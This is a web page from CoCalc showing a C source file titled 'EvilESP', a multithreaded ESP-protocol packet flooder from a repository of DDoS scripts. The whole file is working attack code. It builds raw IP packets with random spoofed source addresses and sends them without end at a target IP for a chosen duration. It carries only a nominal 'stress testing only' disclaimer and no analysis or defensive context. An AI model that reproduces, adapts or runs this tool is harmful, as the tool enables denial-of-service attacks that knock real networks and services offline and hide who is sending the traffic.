Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/UDP/EvilESP1-1.c
4607 views
1
#include <pthread.h>
2
#include <unistd.h>
3
#include <stdio.h>
4
#include <stdlib.h>
5
#include <string.h>
6
#include <sys/socket.h>
7
#include <netinet/ip.h>
8
#include <netinet/udp.h>
9
10
#define MAX_PACKET_SIZE 4096
11
#define PHI 0x9e3779b9
12
13
static unsigned long int Q[4096], c = 362436;
14
static unsigned int floodport;
15
volatile int limiter;
16
volatile unsigned int pps;
17
volatile unsigned int sleeptime = 100;
18
char pass[1500];
19
int ii;
20
21
void init_rand(unsigned long int x)
22
{
23
int i;
24
Q[0] = x;
25
Q[1] = x + PHI;
26
Q[2] = x + PHI + PHI;
27
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
28
}
29
unsigned long int rand_cmwc(void)
30
{
31
unsigned long long int t, a = 18782LL;
32
static unsigned long int i = 4095;
33
unsigned long int x, r = 0xfffffffe;
34
i = (i + 1) & 4095;
35
t = a * Q[i] + c;
36
c = (t >> 32);
37
x = t + c;
38
if (x < c) {
39
x++;
40
c++;
41
}
42
return (Q[i] = r - x);
43
}
44
unsigned short csum (unsigned short *buf, int count)
45
{
46
register unsigned long sum = 0;
47
while( count > 1 ) { sum += *buf++; count -= 2; }
48
if(count > 0) { sum += *(unsigned char *)buf; }
49
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
50
return (unsigned short)(~sum);
51
}
52
53
void setup_ip_header(struct iphdr *iph)
54
{
55
iph->ihl = 5;
56
iph->version = 4;
57
iph->tos = 0;
58
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
59
iph->id = rand();
60
iph->frag_off = 0;
61
iph->ttl = MAXTTL;
62
iph->protocol = IPPROTO_UDP;
63
iph->check = 0;
64
iph->saddr = inet_addr("192.168.3.100");
65
}
66
67
void setup_udp_header(struct udphdr *udph)
68
{
69
udph->source = htons(500);
70
udph->dest = htons(500);
71
udph->check = 0;
72
73
udph->len=htons(sizeof(struct udphdr) + 25);
74
}
75
76
void *flood(void *par1)
77
{
78
char *td = (char *)par1;
79
char datagram[MAX_PACKET_SIZE];
80
struct iphdr *iph = (struct iphdr *)datagram;
81
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
82
83
struct sockaddr_in sin;
84
sin.sin_family = AF_INET;
85
sin.sin_port = htons(17015);
86
sin.sin_addr.s_addr = inet_addr(td);
87
88
int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
89
if(s < 0){
90
fprintf(stderr, "Could not open raw socket.\n");
91
exit(-1);
92
}
93
memset(datagram, 0, MAX_PACKET_SIZE);
94
setup_ip_header(iph);
95
96
iph->daddr = sin.sin_addr.s_addr;
97
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
98
99
int tmp = 1;
100
const int *val = &tmp;
101
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
102
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
103
exit(-1);
104
}
105
106
init_rand(time(NULL));
107
register unsigned int i;
108
i = 0;
109
while(1){
110
111
iph->protocol = 50;
112
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
113
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
114
iph->ttl = rand() % (255 + 1 - 0) + 0;
115
udph->source = htons(rand_cmwc() & 0xFFFF);
116
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
117
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
118
119
pps++;
120
if(i >= limiter)
121
{
122
i = 0;
123
usleep(sleeptime);
124
}
125
i++;
126
}
127
}
128
int main(int argc, char *argv[ ])
129
{
130
if(argc < 5){
131
fprintf(stderr, "EvilESP - ESP Protocol Flooder V.1.1\n");
132
fprintf(stderr, "Made by JiiN - Private for Cyber-Hub.pw\n\n");
133
fprintf(stderr, " ============================================================================\n");
134
fprintf(stderr, " >> For network stress testing only! <<\n");
135
fprintf(stderr, " >> Users are legally responsible for the illegal usage of this tool <<\n");
136
fprintf(stderr, " ============================================================================\n");
137
fprintf(stdout, "\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
138
exit(-1);
139
}
140
141
fprintf(stdout, "Setting up Sockets...\n");
142
143
int num_threads = atoi(argv[2]);
144
int maxpps = atoi(argv[3]);
145
146
limiter = 0;
147
pps = 0;
148
pthread_t thread[num_threads];
149
150
int multiplier = 20;
151
152
int i;
153
for(i = 0;i<num_threads;i++){
154
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
155
}
156
fprintf(stdout, "Sending packets...\n");
157
fprintf(stdout, "EvilESP started!\n");
158
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
159
{
160
usleep((1000/multiplier)*1000);
161
if((pps*multiplier) > maxpps)
162
{
163
if(1 > limiter)
164
{
165
sleeptime+=100;
166
} else {
167
limiter--;
168
}
169
} else {
170
limiter++;
171
if(sleeptime > 25)
172
{
173
sleeptime-=25;
174
} else {
175
sleeptime = 0;
176
}
177
}
178
pps = 0;
179
}
180
181
return 0;
182
}
183